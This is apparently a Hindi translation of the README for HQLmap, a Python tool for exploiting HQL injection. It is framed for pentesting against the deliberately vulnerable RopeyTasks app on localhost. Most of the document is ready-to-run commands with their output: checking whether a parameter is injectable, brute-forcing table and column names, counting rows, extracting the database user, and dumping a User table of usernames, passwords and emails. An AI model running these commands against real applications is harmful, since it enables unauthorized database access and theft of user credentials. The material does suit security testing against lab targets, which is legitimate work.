
(अप्रचलित) HQLmap, HQL इंजेक्शन का दोहन करने के लिए स्वचालित उपकरण
यह प्रोजेक्ट HQL इंजेक्शन (HQL Injections) का शोषण करने के लिए बनाया गया है। यह टूल Python में लिखा गया है और MIT लाइसेंस के अंतर्गत जारी किया गया है। भविष्य के विकास : मेरे मन में SQLmap के लिए विशिष्ट मॉड्यूल विकसित करने का विचार है।
यदि आप एक तेज़ असुरक्षित वातावरण चाहते हैं जहाँ आप इस टूल को आज़मा सकते हैं, तो मैं RopeyTasks उपयोग करने की अनुशंसा करूँगा : https://github.com/continuumsecurity/RopeyTasks/
इसके अलावा, यदि आप HQLi के बारे में अधिक जानकारी चाहते हैं, तो इस ब्लॉग पोस्ट को देखें : http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
इस प्रोजेक्ट को स्थापित करने के लिए, आपको बस टाइप करके इस प्रोजेक्ट को क्लोन करना होगा :
git clone [email protected]:PaulSec/HQLmap.git
इस प्रोजेक्ट का उपयोग करने के लिए, निर्देशिका में जाएँ :
cd HQLmap
और प्रोजेक्ट लॉन्च करें :
python HQLmap.py
उसके बाद उपयोग प्रदर्शित होता है :
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
यह भाग विभिन्न परिदृश्यों को शामिल करता है।
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
आउटपुट बहुत सरल है :
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
यहाँ आउटपुट है :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
इस प्रकार की सूची बनाने (enumeration) करने पर, स्कैनर टेबल के नामों के लिए डिफ़ॉल्ट फ़ाइल का उपयोग करता है यदि निर्दिष्ट न हो। डिफ़ॉल्ट फ़ाइल है : db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
इस प्रकार की सूची बनाने पर, स्कैनर टेबल के नामों और कॉलम के नामों दोनों के लिए डिफ़ॉल्ट फ़ाइल का उपयोग करता है। डिफ़ॉल्ट फ़ाइलें हैं :
टेबल्स के लिए : db/tables.db कॉलम्स के लिए : db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
और आउटपुट :
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
और आउटपुट :
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
और आउटपुट :
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
या सभी टेबल्स के लिए :
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
और आउटपुट :
[!] Table User has been found.
[!] Count(*) of User : 3
ऐसा करने के लिए, आपको एक टेबल निर्दिष्ट करनी होगी (या सभी के लिए --tables फ़्लैग) और --user फ़्लैग इस प्रकार जोड़ना होगा :
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
और आउटपुट (कुछ सेकंड बाद) :
[!] Table User has been found.
[!] Username of Database found : SA
उपयोगकर्ता को प्राप्त करने के लिए, मैंने "variable" द्विभाजन (dichotomy) के समान एक एल्गोरिदम लागू किया है।
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
और आउटपुट :
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
और आउटपुट:
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump
और आउटपुट :
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
[username]
- bob
- alice
- admin
बेझिझक प्रतिक्रिया दें और नई सुविधाओं के लिए पूछें।
प्रोजेक्ट MIT लाइसेंस के अंतर्गत जारी किया गया है।